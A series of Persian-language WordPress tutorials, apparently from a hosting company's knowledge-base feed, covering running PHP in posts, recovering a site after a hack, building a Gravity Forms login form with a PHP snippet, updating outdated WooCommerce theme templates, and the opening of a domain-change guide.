در نهایت بعد از اینکه همه گزینه‌ها را وارد کردید روی دکمه انتشار کلیک کنید. بعد از انتشار اگر به منوی اصلی این افزونه برید مشابه تصویر زیر میبینید که کدها به همراه عنوان، محل اجرا، توضیحات، برچسب و حالت فعال یا غیرفعال بودنشون نمایش داده خواهند شد.

آموزش قرار دادن کد php در پست وردپرس | اجرای کدهای php در وردپرس

در ستون ststus فعال یا غیرفعال بودن و در ستون actions هم دکمه‌های فعال و غیرفعال کردن هر کد نمایش داده میشه که هر زمان نیاز داشتید میتونید ازش استفاده کنید. بنابراین اگر شما کدی رو از طریق فایل فانکشن قالب اضافه کنید و زمانی نیاز به غیرفعال کردنش داشته باشید باید کد رو پاک کنید یا اینکه به صورت توضیحات در بیارید تا اجرا نشه. اما با این افزونه به راحتی میتونید با یک بار کلیک روی دکمه‌ای فعال یا غیرفعالش کنید. در صورتی که مکان اجرای کد را روی حالت where there is a shortcode قرار بدین شورت کدی برای کد در همین بخش در ستون whre use اضافه میشه که با کپی کردن و قرار دادن این شورت کد در هر نوشته، ابزارک یا پست تایپ دلخواه وردپرس میتونید کد را فقط در یک مکان استفاده کنید.

آموزش قرار دادن کد php در پست وردپرس | اجرای کدهای php در وردپرس

اگه به صفحه ویرایش نوشته مراجعه کنید میبینید که دکمه‌ای برای انتخاب هر کد اضافه شده. کافیه روی دکمه کلیک کنید و مشابه تصویر زیر از بین لیست کدهای php که در وردپرس اضافه کردید یکی از اونها را انتخاب کنید. بعد از انتخاب شورت کد داخل نوشته قرار داده میشه که امکان اجرای کد php در پست وردپرس را خواهید داشت.

آموزش قرار دادن کد php در پست وردپرس | اجرای کدهای php در وردپرس

Activate by Default: با فعال و غیرفعال کردن این بخش کارکرد افزونه به صورت کامل فعال یا غیرفعال خواهد شد. یعنی هر زمان که نیاز به اجرای هیچ کدوم از کدها نداشته باشید میتونید با غیرفعال کردن از این بخش اجرای کدهای php در وردپرس را غیرفعال کنید.

Code style: از این بخش میتونید استایل دلخواه برای ویرایشگر کد را انتخاب کنید.

Indent With Tabs: با فعال یا غیرفعال کردن این بخش میتونید از زبانه‌ها برای کدهای php استفاده کنید.

Tab Size: از این بخش میتونید اندازه و سایز تب رو مشخص کنید.

Indent Unit: با استفاده از این گزینه میتونید فاصله بین بلوک‌ها را انتخاب کنید.

Wrap Lines: از این بخش میتونید کاری کنید که خط کدها به صورت مرتب شده باشند یا اینکه اسکرول افقی داشته باشند.

Line Numbers: از این بخش میتونید شماره هر خط از کد php رو که اضافه میکنید را ببینید که مشابه اونو در افزونه افزودن کد در وردپرس دیدیم.

Auto Close Brackets: با فعال کردن این گزینه حالت شروع و پایان کدها به صورت خودکار فعال میشه که با انتخاب دو کاراکتر {} انجام پذیر هست. هر زمان که کد شروع رو وارد کرده و یک اینتر بزنید، کد پایان هم خودش اضافه شده و کدها به صورت مرتب درج خواهند شد.

Highlight Selection Matches: با فعال کردن این گزینه هم کدهایی که انتخاب شده باشند هایلایت خواهند شد.

با رفتن به منوی IMPORT/EXPORT هم میتونید کاری کنید که از کدهایی که در وردپرس استفاده کردید خروجی تهیه کرده و فایلشو دانلود کنید. یا اینکه اگر یک فایل php دارید، با درون ریزی کردن اون در وردپرس بدون اینکه لازم باشه مراحل افزودن کد رو طی کنید داخل سایت قرار بدین و ازش استفاده کنید.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون تونسته باشید اقدام به افزودن کدهای php در وردپرس بکنید. در صورتی که در رابطه با این آموزش و نحوه قرار دادن کدهای php در نوشته وردپرس سوال یا مشکلی داشتید در بخش دیدگاه‌ها اعلام کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش اجرای کدهای php در مطالب وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

اقدامات لازم پس از هک وردپرس

$
0
0

هک سایت و نفوذ در سایت تلخ‌ترین اتفاقی است که میتونه برای یک مدیر وبسایت به وجود بیاد. فرقی هم نمیکنه که سایت وردپرسی باشه یا از سایر سیستم‌ها مثل جوملا، دروپال یا… در اون استفاده شده باشه. به هر حال وقتی هک وردپرس در کار باشه و سایت شما به هر طریقی که شده دست کسانی بیفته که قصد ضربه زدن به سایت و نفوذ در اونو دارن خیلی عذاب آور هست. استرسی که در هک وردپرس به ما وارد میشه زیاد خواهد بود به طوری که اگه تو مدت زمان کوتاهی این مسئله رو برطرف نکنیم باعث ضربه زدن جبران ناپذیری به سایت خواهد شد که شاید مجبور بشیم یک روزی به گوگل این موضوع رو بفمونیم که سایت ما ویروسی نیست یا هک نشده که کاری زمانبر خواهد بود.

در این آموزش از پایگاه دانش میزبان‌فا قصد دارم به معرفی راه‌هایی که پس از هک شدن وردپرس باید انجام بدین رو معرفی کنم. اگر سایت شما هک شده و نمیدونید که باید چه کاری انجام بدین، تا انتهای این آموزش با ما همراه باشید. دقت داشته باشید که کلیه مواردی که تو این مقاله درج میشه رو مو به مو مطالعه کرده و با دقت ازشون استفاده کنید.

اقدامات لازم پس از هک وردپرس

اگر مدیر سایتی هستید که سایت شما هک شده و حالا این مقاله رو برای آشنایی با کارهایی که باید بعد از هک وردپرس انجام بدین مطالعه می‌کنید که هیچ! اما اگر هنوز سایت شما هک نشده و کارهایی رو برای جلوگیری از هک وردپرس انجام ندادید، پیشنهاد می کنم به مقاله آموزش تامین امنیت وردپرس و جلوگیری از هک وردپرس مراجعه کرده و راهکارهایی که باعث افزایش امنیت در وردپرس میشه رو حتما روی سایتتون پیاده سازی کنید.

اقدامات لازم پس از هک وردپرس

1. بررسی تغییرات و گستردگی هک وردپرس

اولین کاری که باید انجام بدین این هست که میزان هک سایت رو بررسی کنید و ببینید که چه تغییراتی در سایت اعمال شده است. به عنوان نمونه معمولا بعد از هک وردپرس هکرها یک صفحه با فرمت html یا php ایجاد می‌کنند که به عنوان صفحه اصلی سایت در نظر گرفته میشه و بعد از این کار هم کلیه کابران رو به این صفحه ریدایرکت می‌کنند. در بیشتر موارد این فایل حاوی کدهای مخرب هست که هم باعث میشه ضرر و زیان جبران ناپذیری به سایت شما وارد بشه و هم اینکه از دید کاربران دیگه سایت شما قابل اعتماد نباشد. پس در اولین اقدام باید سطح گسترده بودن هک وردپرس را بررسی کنید.

2. شناسایی راه نفوذ در سایت

معمولا هک وردپرس طوری نیست که هر کسی از راه رسید دستی به سر و روی سایت شما بکشه و سایتتون هک بشه. اینکه سایت شما هک بشه تنها مقصر خود شما یا شرکت هاستینگ هستید که موارد امنیتی در اون به دقت رعایت نشده. وقتی شما از یک افزونه ساده کپچا وردپرس برای بالا بردن سطح امنیت استفاده نمی‌کنید یا هاستینگ شما کانفیگ روی هاست رو طوری انجام نداده که بعد از چند تلاش ناموفق برای ورود به هاست آی‌پی بلاک نشه، تضمینی برای هک نشدن وردپرس وجود نخواهد داشت.

اولین کاری که مدیران سایت‌ها بعد از مواجه شدن با هک سایت می‌کنند اینه که سریعا اقدام به ورود به هاست میکنند که فقط کاری کنن نما و نشونه‌ای از هک شدن سایت برای کاربران قابل مشاهده نباشه. درسته به این مورد باید توجه کنید، اما این نکته رو هم در نظر بگیرید که یکی از راه‌های شناخت هکر ممکنه از همین طریق باشه و بتونید پیداش کنید.

پس سریعا بعد از اینکه سایت هک شد وارد هاست نشید. با شرکت میزبانی هاست خودتون تماس بگیرید و موضوع را باهاشون در میون بزارید. ازشون بخواین که آخرین جزییات ورود به هاست رو به همراه اطلاعاتش بررسی کنند که مطمئن بشید هک از سوی هاست بوده یا اینکه از طریق خود وردپرس این هک انجام گرفته است.

3. مشورت با شرکت میزبانی هاست

خوبی استفاده از هاست‌های اشتراکی این هست که در کنار پشتیبانی خوب می‌تونید زمانی که سایتتون هک شدن از تیم فنی و امنیتی شرکت هاست برای بررسی موضوع کمک بگیرید. اما در صورتی که از سرور اختصاصی و هاست اختصاصی استفاده کرده باشید این امکان را تا زمانی که شخصی مسئول هاستینگ و امنیت سایت شما نباشه را نخواهید داشت. بنابراین با شرکت هاستینگ خودتون حتما ارتباط بگیرید.

شرکت‌های هاست بخاطر تجربه‌ای که در زمینه هک سایت‌ها به دست میارن قادر هستند در زمان کوتاه‌تری بررسی کنند که علت هک سایت چی بوده؟ چه کسی اقدام به هک سایت کرده؟ هک سایت از چه طریقی انجام گرفته و گستردگی هک وردپرس تا چه حدی بوده؟ که در نهایت با استفاده از راهکارهای امنیتی و دسترسی کاملی که روی سایت دارند قادر به برطرف کردن موضوع در زمانی کوتاه هستند.

4. تهیه بک آپ از نسخه فعلی سایت

حالا که شناسایی کردید هک سایت از چه طریقی بوده و به چه میزان گستردگی داشته باید از سایت فعلی خودتون یک بک آپ تهیه کنید. شاید فکر کنید سایتی که هک شده تهیه بک آپ از وردپرس در این زمان چه فایده‌ای خواهد داشت؟ عدم تهیه بک آپ و نسخه پشتیبان از وردپرس در این زمان باعث میشه تا اگر کار اشتباهی انجام دادید و مشکلات هک وردپرس را دو چندان بیشتر کردید، بتونید به وسیله همین فایل بک آپ یک مرحله به عقب برگردید و اشتباهی که انجام دادید رو دیگه تکرار نکنید.

اقدامات لازم پس از هک وردپرسیا اینکه میتونید با استفاده از همین فایل پشتیبان بعد از اینکه تا جایی مطمئن شدید مشکل هک سایت برطرف شده با صبر و حوصله به همراه یک فرد متخصص فایل رو بررسی کنید و ببینید آیا بخشی از سایت مونده که بهش توجه نکرده باشید. در این صورت اگر هنوز راه نفوذی باقی مونده باشه توسط همین فایل بک آپ میتونید شناساییش کنید و در سایت اصلی هم این مورد را برطرف کنید.

5. بروزرسانی هسته وردپرس

اولین کار فنی که باید انجام بدین اینه که آخرین نسخه از وردپرس را از آدرس fa.wordpress.org دریافت کرده و پوشه wp-content و فایل wp-config.php را از داخل این فایل دانلودی حذف کنید. حالا باقی فایل‌هایی که مونده رو جایگزین کنید تا به آخرین نسخه آپدیت بشن. چرا که در بیشتر موارد هک وردپرس، هکر سعی میکنه با تزریق کدهایی در هسته وردپرس همچنان دسترسی به سایت رو برای خودش فراهم بکنه، طوری که در ظاهر متوجه این مسئله نخواهید شد. در این صورت با بروزرسانی وردپرس میتونید این فایل‌ها و کدهای مخربی رو که در وردپرس تزریق شده را از بین ببرید.

6. بروزرسانی قالب و افزونه وردپرس

این مورد هم دقیقا مشابه اتفاقی هست که برای هسته وردپرس رخ خواهد داد. باید برای قالب وردپرس که استفاده می‌کنید و کلیه افزونه‌هایی که نصب کردید مجددا همین کار رو تکرار کنید. البته از این نکته هم غافل نباشید که صرفا فعال بودن قالب و افزونه شرط نیست. بلکه باید افزونه‌ها و قالب‌هایی که غیرفعال هستند و ازشون استفاده نمی‌کنید هم به نسخه مطمئن و بروز شده جایگزین شوند.

اگر افزونه یا قالب وردپرس از مخزن وردپرس هست کافیه به آدرسشون در مخزن رفته و روی دکمه دانلود کلیک کنید. سپس فایل zip دانلودی را در مسیر wp-content داخل پوشه‌های plugins برای افزونه‌ها و پوشه themes برای قالب وردپرس آپلود کرده و از حالت زیپ خارج کنید تا جایگزین پوشه‌های فعلی بشه.

7. بررسی فایل htaccess.

مورد بعدی که ممکنه اتفاق بیفته از طریق فایل htaccess. خواهد بود. باید وارد File manager هاست شده و در روت هاست فایل htaccess. رو پیدا کنید. سپس کدهای این فایل رو خط به خط بررسی کرده و ببینید که آیا تغییرات مشکوکی در اون میبینید یا خیر. با دیدن کوچکترین تغییر مشکوک بهتره کدهای مشکوک رو پاک کنید یا اینکه ابتدا اسم این فایل رو به نامی دیگه مثل htaccess-old. تغییر نام بدین و بعدش به مسیر تنظیمات> پیوندهای یکتا در پیشخوان وردپرس رفته و یکبار روی دکمه ذخیره تغییرات کلیک کنید تا فایل جدید htaccess. ساخته شود.

8. بررسی سطح دسترسی کاربران

مشابه راهنمای مدیریت کاربران در وردپرس به منوی کاربران در پیشخوان وردپرس رفته و تک تک کاربران رو برای سطح دسترسی بررسی کنید. ممکنه هکر در سایت شما افزونه‌ای برای تغییر سطح دسترسی کاربران در وردپرس نصب کرده باشه که در این حالت باید وضعیت دسترسی برای نقش‌های کاربری وردپرس رو هم بررسی کنید.

هر کاربر مشکوکی رو که دیدید میتونید غیرفعال کنید یا نقش کاربریش رو به چیزی مثل مشترک تغییر بدین تا بعدا با بررسی دقیق‌تر موضوع از کاربر مورد نظر مطمئن بشید.

9. تغییر رمز وردپرس و هاست

کاری بعدی که باید انجام بدین تغییر رمز وردپرس و رمز ورود به هاست هست. اگر سایت شما کاربر محور هست و کاربران زیادی در اون فعالیت دارند، باید کاری کنید که کاربران سایت هم رمز خودشون رو عوض کنند. برای این موضوع میتونید از راهنمای آموزش تغییر رمز عبور تمام کاربران در وردپرس استفاده کنید و کاربران رو مجبور کنید که برای بالا بردن امنیت سایت و جلوگیری از لو رفتن اطلاعات خودشون حتما رمز خودشون رو عوض کنند.

10. بررسی دیتابیس وردپرس

مورد بعدی اینه که دیتابیس سایت رو هم بررسی کنید و ببینید که آیا جداول و تغییراتی در اون صورت گرفته که اطلاعات رو به جایی بفرسته یا خیر. اگر چنین مسئله‌ای رخ داده باشه یا نداده باشه، بهتره رمز دیتابیس رو تغییر بدین یا اینکه با ساخت یک دیتابیس جدید و درون ریزی دیتابیس فعلی از این نظر بیشتر مطمئن بشید.

11. اسکن امنیتی هاست

یکی از ابزارهای خوبی که کنترل پنل‌های هاست در اختیار شما میده اینه که به دلیل به روز بودن کنترل پنل و داشتن نرم افزارهای اسکن امنیتی قادر هستید فایل‌ها و پوشه‌های مشکوک را شناسایی کنید. حتما از ابزار اسکنر هاست استفاده کنید تا ببینید که آیا فایل مخربی روی سایت برای سو استفاده از اطلاعات سایت قرار گرفته یا خیر. البته فقط نمیشه به این کار اکتفا کرد و به صورت دستی هم باید پوشه‌ها و فایل‌های مشکوک در وردپرس را بررسی کنید.

12. بازگردانی بک آپ در وردپرس

در صورتی که با استفاده از راهکارهای بالا موفق به رفع مشکل هک سایت در وردپرس نشدید آخرین راهکار این هست که آخرین بک آپ سایت که فکر می‌کنید سالم هست و کاری در جهت هک وردپرس و هک سایت روی اون در زمانی که بک آپ رو تهیه کردید انجام نگرفته را ریستور کنید. با ریستور کردن این فایل برخی داده‌های سایت رو از دست خواهید داد که با مدتی فعالیت کردن جای جبران داره و میتونید باز به همین وضعیت و رتبه فعلی برسید، اما اینکه هنوز از رفع هک سایت مطمئن نباشید و بعدا باز همین هک ساده باعث ایجاد مشکلاتی بشه دیگه باید کل زمان و تایمتون رو برای بررسی اینکه آیا مشکلات هک سایت به صورت کامل برطرف شده یا خیر خواهید داشت.

13. افزایش امنیت وردپرس

مورد آخری هم اینه که بعد از اینکه مشکلات هک سایت رو برطرف کردید حتما از یکی از افزونه‌های افزایش امنیت وردپرس برای بررسی هک وردپرس استفاده کنید. یکی از بهترین راهکارها استفاده از افزونه wordfence هست که در مقاله افزایش امنیت وردپرس و اسکن امنیتی وردپرس با Wordfence Security به صورت کامل راهنمای استفاده از این افزونه را توضیح دادم. با قابلیت‌هایی که این افزونه در اختیارتون قرار خواهد داد میتونید از وضعیت هک وردپرس مطلع بشید.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از این آموزش تونسته باشید نکاتی که بعد از هک شدن سایت وردپرسی باید بهشون توجه داشت رو فرا بگیرید. در صورتی که سایت شما هم هک شده و تجربه ای در این زمینه دارید میتونید در بخش دیدگاه‌ها با سایر دوستان به اشتراک بگذارید و با معرفی راهکارهایی که انجام دادین، ما رو در جهت کامل‌تر کردن این مقاله راهنمایی کنید. به نظر شما چه راهکارهای دیگه وجود داره که باید بعد از هک وردپرس ازشون استفاده کنیم؟

نوشته اقدامات لازم پس از هک وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش ساخت فرم ورود در وردپرس با گرویتی فرم

$
0
0

سایت‌هایی که به صورت کاربر محور هستند و قابلیتی فراهم کردن که افراد در سایت عضو شده و فعالیت کنند همیشه دنبال این بودند تا بتونن فرم ورود در وردپرس را به صورت ساده و کاربر پسند ایجاد کنند. برای ساخت فرم ورود در وردپرس افزونه‌های مختلفی وجود داره که میتونید باهاشون این کار رو انجام بدین، اما از اونجایی که هدف ما اینه که استفاده از فرم سازی مثل گرویتی فرم رو بیشتر و بیشتر جا بندازیم تا با استفاده از اون بتونید هر فرمی در سایت ایجاد کرده و از نصب افزونه‌های غیر ضروری دوری کنید، در این آموزش تصمیم گرفتم به معرفی راهکاری برای ساختن فرم ورود در وردپرس و شخصی سازی فرم ورود و عضویت در وردپرس با استفاده از فرم ساز گرویتی فرم بپردازم.

پس برای اینکه طبق این آموزش از پایگاه دانش میزبان‌فا بتونید از یک فرم ورود در وردپرس استفاده کنید که امکان عضویت در سایت هم برای کاربران فراهم شده باشه نیاز به داشتن افزونه گرویتی فرم، فارسی ساز افزونه گراویتی فرم و یک افزونه جانبی ساده برای فراهم کردن عضویت در سایت با گرویتی فرم نیاز داریم.

آموزش ساخت فرم ورود در وردپرس

برای اینکه اقدام به ساخت این نوع فرم ورود بکنید ابتدا توسط توضیحاتی که در مقاله دانلود رایگان گراویتی فرم توضیح دادم افزونه گراویتی فرم را به صورت رایگان دانلود کرده و روی سایتتون نصب کنید. در مرحله بعدی نیاز به افزونه gravity forms user registration دارید که امکان عضویت و ورود در وردپرس رو با استفاده از افزونه گرویتی فرم براتون فراهم خواهد کرد. برای دانلود این افزونه هم باید طبق راهنمای نصب افزونه در وردپرس به صفحه این افزونه در گیت هاب مراجعه کنید و طبق توضیحاتی که برای نصب افزونه از گیت هاب در وردپرس دادم افزونه را دانلود کرده و در وردپرس نصب کنید.

حالا که همه این افزونه‌ها و موارد لازم رو نصب کردید وارد هاست خودتون شده و روی گزینه File Manager کلیک کنید. سپس به مسیر public_html/wp-content/themes مراجعه کنید تا قطعه کدی رو در قالب خودتون قرار بدین.

ساخت فرم ورود در وردپرس و شخصی سازی فرم ورود و عضویت در وردپرس

بعد از اینکه وارد این مسیر شدین باید وارد پوشه قالبی که در حال حاضر از این قالب استفاده می‌کنید شده و به دنبال فایلی با نام functions.php در این مسیر بگردید. حالا قطعه کدهای زیر را درون این فایل قرار داده و ذخیره کنید. به این نکته توجه داشته باشید که، قبل از اضافه کردن و ویرایش هر تغییری در فایل فانکشن قالب حتما یک نسخه از محتویات فایل کپی تهیه کنید که اگه مشکلی پیش اومد بتونید با نسخه قبلی جایگزین کرده و مشکل رو برطرف کنید.

//------gravity forms --------------------
add_filter("gform_field_validation", "login_validate_field", 10, 4);
function login_validate_field($result, $value, $form, $field)
{
 
    global $user;
 
    if ($field['cssClass'] === 'username-login') {
        $user = get_user_by('login', $value);
        if (empty($user->user_login)) {
            $result["is_valid"] = false;
            $result["message"] = "نام کاربری وارد شده اشتباه است.";
        }
    }
 
    if ($field['cssClass'] === 'password-login') {
        $value = trim($value);
        if (!empty($user) && !empty($user->user_login) && !empty($user->ID)) {
 
            $sign = wp_signon(array(
                'user_login' => $user->user_login,
                'user_password' => $value,
            ));
 
            if (is_wp_error($sign)) {
                $result["is_valid"] = false;
                $result["message"] = $sign->get_error_message();
            } else if (wp_check_password($value, $user->data->user_pass, $user->ID)) {
                wp_set_current_user($sign->ID);
            } else {
                $result["is_valid"] = false;
                $result["message"] = 'کلمه عبور وارد شده عبور صحیح نیست.';
            }
        } else {
            $result["is_valid"] = false;
            $result["message"] = "نام کاربری وارد شده اشتباه است.";
        }
    }
 
    return $result;
}
add_filter('gform_save_field_value', 'hide_password_field_value', 10, 4);
function hide_password_field_value( $value, $lead, $field, $form )
{
 
    $field = is_object($field) ? $field : (object)$field;
 
    if ( !empty($field->cssClass) && $field->cssClass === 'password-login' ) {
        $value = '**********';
    }
 
    return $value;
}

حالا به منوی فرم‌ها مراجعه کرده و یک فرم جدید ایجاد کنید. برای اینکه امکان ورود و عضویت در وردپرس رو فراهم کنیم نیاز به دوتا فیلد نام کاربری و رمز عبور خواهیم داشت بنابراین باید مشابه تصویر زیر دو نوع فیلد از نوع متنی در فرم قرار بدیم.

ساخت فرم ورود در وردپرس و شخصی سازی فرم ورود و عضویت در وردپرس ساخت فرم ورود در وردپرس و شخصی سازی فرم ورود و عضویت در وردپرس

حالا همونطور که در تصویر میبینید به تب نمایش این دو فیلد رفته و تو قسمت کلاس css سفارشی برای فیلد نام کاربری مقدار username-login رو وارد کنید و توی کلاس css سفارشی برای رمز عبور هم مقدار password-login را وارد کرده و در نهایت فرم را ذخیره کنید. بعد از اینکه فرم ساخته شد مشابه تصویر زیر به منوی نمایش> ابزارک‌ها مراجعه کنید و ابزارکی که با نام فرم برای گرویتی فرم وجود داره را در مکان دلخواه قرار بدین.

ساخت فرم ورود در وردپرس و شخصی سازی فرم ورود و عضویت در وردپرس

همونطور که در تصویر هم میبینید از بخش انتخاب فرم، فرمی رو که در مرحله قبل ساختید را انتخاب کرده و ابزارک رو ذخیره کنید. حالا اگه به سایت مراجعه کنید میبینید که فرم ورود در وردپرس با استفاده از گرویتی فرم فراهم شده و کاربران قادر به ورود در سایت با استفاده از گرویتی فرم خواهند بود.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون تونسته باشید امکان ورود در وردپرس رو با استفاده از فرم ساز گرویتی فرم فراهم کنید. در صورتی که از افزونه گرویتی فرم استفاده می‌کنید قادر هستید به راحتی از این روش برای ورود کاربران در وردپرس استفاده کنید و نیازی به افزونه‌های دیگه برای فراهم کردن امکان ورود در وردپرس نخواهید داشت.

نوشته آموزش ساخت فرم ورود در وردپرس با گرویتی فرم اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش هماهنگ سازی قالب با ووکامرس

$
0
0

در هر بار آپدیت ووکامرس که صورت میگیره مطمئنا حداقل برای یک بار هم که شده برای شما این مشکل پیش اومده که با خطایی مبنی بر پوسته شما دارای الگوهای قدیمی ووکامرس میباشد یا قالب شما از چند فایل ووکامرس قدیمی استفاده میکند مواجه خواهید شد که علت این موضوع به خاطر هماهنگ نبودن فایل‌های ووکامرس در قالب با افزونه ووکامرس هست.

در این آموزش از پایگاه دانش میزبان‌فا قصد دارم به نحوه هماهنگ سازی قالب با ووکامرس و رفع خطای الگوهای قدیمی در افزونه ووکامرس بپردازم که با استفاده از این آموزش میتونید آموزش چگونگی بروزرسانی الگوهای قدیمی ووکامرس را یاد بگیرید. پس اگر شما هم بعد از آپدیت ووکامرس با این خطا مواجه شدین تا انتهای آموزش همراه ما باشید.

آموزش هماهنگ سازی قالب با ووکامرس

قبل از اینکه به نحوه رفع خطای الگوی قدیمی ووکامرس و رفع خطای پوسته شما دارای فایل های الگوی قدیمی ووکامرس می باشد، بپردازم لازمه که با نحوه همگام سازی قالب با ووکامرس آشنا بشید. اگر افزونه ووکامرس رو دانلود کرده باشید و داخل پوشه‌های اونو بررسی کرده باشید پوشه‌ای داخل افزونه با عنوان templates قرار داره که شامل فایل‌هایی هست که مسئول هماهنگ سازی قالب با ووکامرس هستند. حالا اگه قالب سایتتون که با ووکامرس هماهنگ هست و از ووکامرس پشتیبانی میکنه رو هم بررسی کنید پوشه‌ای با نام woocommerce داخل پوشه قالب قرار داره که در این پوشه هم فایل‌های موجود در پوشه templates افزونه قرار داشتند وجود داره. حالا وقتی شما افزونه ووکامرس رو آپدیت می‌کنید این فایل‌ها به‌روزرسانی میشن و از اونجایی که مدتی طول میکشه تا سازنده قالب، کار بروزرسانی و هماهنگ سازی قالب با ووکامرس رو انجام بده به همین خاطر بعد از آپدیت ووکامرس با خطای پوسته شما دارای الگوهای قدیمی ووکامرس میباشد مواجه خواهید شد.

پس کاری که باید بکنید این هست که فایل‌هایی که داخل پوشه templates افزونه ووکامرس قرار داره رو جایگزین فایل‌های موجود داخل پوشه woocommerce قالب بکنید. بعد از جایگزین کردن فایل‌ها مشکل برطرف خواهد شد.

قبل از انجام هر کاری برای جایگزینی فایل‌های داخل پوشه‌های templates و woocommerce دقت داشته باشید که حتما یک نسخه کپی از این دو پوشه تهیه کنید. به دلیل اینکه این روش همیشه جوابگو نیست حتما باید یک نسخه پشتیبان از این دو پوشه تهیه کنید تا در صورتی که خطایی رخ داد بتونید با جایگزین کردن فایل‌ها مشکل رو برطرف کرده و به جای اینکه برای رفع مشکل اقدام کنید، مشکلات به وجود اومده رو بیشتر از اینی که هست نکنید. نکته بعدی هم که باید بهش توجه داشته باشید اینه که حتما اقدام به تهیه فول بک آپ از هاست خودتون بکنید یا اینکه با استفاده از آموزش تهیه نسخه پشتیبان از وردپرس یک نسخه بک آپ از دیتابیس و فایل‌های وردپرس تهیه کنید.

برای انجام هر کاری هم به این چند نکته دقت داشته باشید:

  • هر فایلی که نیازمند بروزرسانی هست رو به صورت تک تک انجام بدین و از جایگزین کردن کل محتوای پوشه‌ها دوری کنید.
  • در هر بار جایگزینی فایل‌ها دفت کنید که سایت رو با استفاده از دکمه‌های CTRL + F5 چندین بار رفرش کرده و بررسی کنید که مشکلی به وجود نیومده باشه.

حالا در ادامه برای اینکه هر فایل را آپدیت کنید به روش زیر عمل کنید. ابتدا به منوی ووکامرس> وضعیت رفته و به انتهای صفحه اسکرول کنید. همونطور که در تصویر زیر و در بخش قالب‌ها می‌بینید فایل‌هایی که از الگوی قدیمی استفاده می‌کنند با رنگ قرمز مشخص شده‌اند.

هماهنگ سازی قالب با ووکامرس و نحوه همگام سازی قالب با ووکامرس

در اینجا من از قالب صحیفه استفاده کردم که دو فایل در حال حاضر از نسخه قدیمی ووکامرس در این قالب قرار دارند که خطا به صورت زیر نمایش داده شده است.

sahifa/woocommerce/global/wrapper-end.php نسخه 1.6.4 تاریخ گذشته است . نسخه اصلی هست 3.3.0, 
sahifa/woocommerce/global/wrapper-start.php نسخه 1.6.4 تاریخ گذشته است . نسخه اصلی هست 3.3.0

برای رفع خطا باید فایل‌های wrapper-end.php و wrapper-start.php که داخل ووکامرس قرار داره رو بردارم و با فایل‌های ووکامرس که داخل قالب هست جایگزین کنم تا مشکل پوسته شما (Sahifa) دارای فایل های الگوی قدیمی ووکامرس می باشد برطرف شده و کار هماهنگ سازی قالب با ووکامرس انجام بگیره. بنابراین وارد هاست شده و روی گزینه File Manager کلیک کنید.

هماهنگ سازی قالب با ووکامرس و نحوه همگام سازی قالب با ووکامرس

سپس به مسیر public_html/wp-content/plugins/woocommerce/templates در هاست مراجعه کنید و داخل پوشه templates به دنبال فایل‌هایی که در بخش وضعیت سیستم به عنوان الگوی قدیمی ووکامرس نشون داده شدن بگردید. در این مثال فایل‌های من wrapper-end.php و wrapper-start.php هستند که توی پوشه global ووکامرس قرار دارند. پس وارد مسیر public_html/wp-content/plugins/woocommerce/templates/global میشم و دو فایل رو دانلود می‌کنم.

سپس به مسیر public_html/wp-content/themes/sahifa/woocommerce که مربوط به پوشه ووکامرس قالب صحیفه هست میشم. در این مسیر هم پوشه‌ای با نام Global قرار داره که حاوی دو فایل wrapper-end.php و wrapper-start.php هست. حالا باید این دو فایل رو که در پوشه templates قرار داشت و قبلا دانلود کردم رو جایگزین در این مسیر بکنم. بعد از جایگزین کردن این دو فایل به احتمال خیلی زیاد مشکلتون برطرف شده و خطای الگوی قدیمی ووکامرس برطرف خواهد شد.

هماهنگ سازی قالب با ووکامرس و نحوه همگام سازی قالب با ووکامرس

حالا همونطور که میبینید خطا برطرف شده و پیغامی که قبلا به صورت الگوی قدیمی ووکامرس بود به صورت نادیدیه گرفته شده در میاد و خطایی در اون هم مشاهده نمیشه.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون تونسته باشید اقدام به هماهنگ سازی ووکامرس با قالب کرده و خطای الگوی قدیمی ووکامرس را در قالب وردپرس برطرف کنید. در صورتی که در رابطه با این آموزش و نحوه همگام سازی قالب با ووکامرس سوال یا مشکلی داشتید در بخش دیدگاه‌ها مطرح کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش هماهنگ سازی قالب با ووکامرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش تغییر دامنه سایت در وردپرس

$
0
0

تغییر نشانی سایت در وردپرس یا تغییر دامنه سایت در وردپرس زمانی به کار ما میاد که به دلایل مختلف قصد تغییر دادن دامنه در سایت را داشته باشیم. به عنوان مثال ممکنه قبلا قصد داشتید با دامنه‌ای فعالیت کنید که از قبل این دامنه توسط شخص دیگه‌ای ثبت شده بود و حالا دامنه آزاد شده و اونو خودتون ثبت کردید. یا اینکه ممکنه بخاطر تبلیغات در گوگل چون دامنه سایت شما IR هست امکان استفاده از تبلیغات گوگل رو نداشته باشید که حالا مجبور هستید بخاطر این موضوع دامنه سایت رو به دامنه‌های بین المللی تغییر بدین. فرقی نمیکنه که دلیلتون برای تغییر نشانی سایت چی باشه. وقتی نیاز به تغییر دامنه پیدا می‌کنید باید بدونید که به راحتی این کار قابل انجام هست.

در این آموزش از پایگاه دانش میزبان‌فا قصد دارم به نحوه تغییر دامنه سایت در وردپرس بپردازم که با استفاده از این آموزش میتونید اقدام به تغییر نشانی سایت در وردپرس کرده و دامنه سایت در وردپرس را به دامنه دیگه تغییر بدین. پس اگر شما هم به دنبال عوض کردن آدرس سایت در وردپرس هستید تا انتهای این آموزش با ما همراه باشید.

آموزش تغییر نشانی سایت در وردپرس

در صورتی که قصد عوض کردن آدرس دامنه در وردپرس را دارید باید بدونید که برای انجام این کار باید مراحل زیر رو به ترتیب و مو به مو بدون کوچکترین کم و کاستی انجام بدین که هر کدوم از این مراحل هم به روش‌های مختلفی قابل انجام هستند که در این آموزش راحت‌ترین و بهترین اونها رو معرفی خواهم کرد.

  • بک آپ گیری کامل از وردپرس که شامل تهیه نسخه پشتیبان از دیتابیس و فایل‌های وردپرس میشه
